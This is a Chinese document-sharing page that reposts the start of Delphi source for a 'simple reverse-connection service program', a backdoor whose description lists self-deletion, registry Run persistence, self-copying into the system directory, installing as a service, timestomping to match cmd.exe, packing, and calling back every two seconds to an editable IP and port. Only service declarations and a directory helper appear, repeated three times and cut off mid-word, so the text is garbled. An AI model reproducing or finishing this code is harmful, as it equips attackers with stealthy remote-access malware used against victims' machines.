Delphi一个简单的反向连接服务程序

《Delphi一个简单的反向连接服务程序》由会员上传分享，免费在线阅读，更多相关内容在行业资料-天天文库。

1、[Delphi]一个简单的反向连接服务程序   [转]作者：hnxyy   来源：火狐 功能简介：运行后自删除，写注册表Run下，同时自拷贝到系统目录下，注册为系统服务SvrDemo,修改文件时间同Cmd.exe，每隔俩秒钟连接一次本地(127.0.0.1)的600端口，ip地址和端口可自行修改，部分代码来源于网上修改，主要在于演示服务程序，用fsg2.0加壳后9.8k，编译环境D7+2kPro。在命令行下加参数 /U 可以卸载服务程序。program SvrDemo;uses  Windows,  WinSvc,  winsock;const  RegName = 'SvrDemo';va

2、r  szServiceName: pchar = 'SvrDemo';  szFileNamechar;  ServiceTable: array [0..1] of TServiceTableEntry;  Status: SERVICE_STATUS;  StatusHandle: SERVICE_STATUS_HANDLE;  Stopped: boolean;  Paused: boolean;  cmd :array[0..MAX_PATH] of char;//获取系统目录function GetDirectory(dInt: Integer): string;var  s: 

3、array[0..255] of Char;begin  case dInt of    0: GetWindowsDirectory(@s, 256);  //Windows安装文件夾所存在的路径    1: GetSystemDirectory(@s, 256);   //系统文件夾所存在的路径    2: GetTempPath(256,@s);           /[Delphi]一个简单的反向连接服务程序   [转]作者：hnxyy   来源：火狐 功能简介：运行后自删除，写注册表Run下，同时自拷贝到系统目录下，注册为系统服务SvrDemo,修改文件时间同Cmd.exe，每隔俩

4、秒钟连接一次本地(127.0.0.1)的600端口，ip地址和端口可自行修改，部分代码来源于网上修改，主要在于演示服务程序，用fsg2.0加壳后9.8k，编译环境D7+2kPro。在命令行下加参数 /U 可以卸载服务程序。program SvrDemo;uses  Windows,  WinSvc,  winsock;const  RegName = 'SvrDemo';var  szServiceName: pchar = 'SvrDemo';  szFileNamechar;  ServiceTable: array [0..1] of TServiceTableEntry;  Stat

5、us: SERVICE_STATUS;  StatusHandle: SERVICE_STATUS_HANDLE;  Stopped: boolean;  Paused: boolean;  cmd :array[0..MAX_PATH] of char;//获取系统目录function GetDirectory(dInt: Integer): string;var  s: array[0..255] of Char;begin  case dInt of    0: GetWindowsDirectory(@s, 256);  //Windows安装文件夾所存在的路径    1: GetS

6、ystemDirectory(@s, 256);   //系统文件夾所存在的路径    2: GetTempPath(256,@s);           /[Delphi]一个简单的反向连接服务程序   [转]作者：hnxyy   来源：火狐 功能简介：运行后自删除，写注册表Run下，同时自拷贝到系统目录下，注册为系统服务SvrDemo,修改文件时间同Cmd.exe，每隔俩秒钟连接一次本地(127.0.0.1)的600端口，ip地址和端口可自行修改，部分代码来源于网上修改，主要在于演示服务程序，用fsg2.0加壳后9.8k，编译环境D7+2kPro。在命令行下加参数 /U 可以卸载服务程序

7、。program SvrDemo;uses  Windows,  WinSvc,  winsock;const  RegName = 'SvrDemo';var  szServiceName: pchar = 'SvrDemo';  szFileNamechar;  ServiceTable: array [0..1] of TServiceTableEntry;  Status: SERVICE_STATU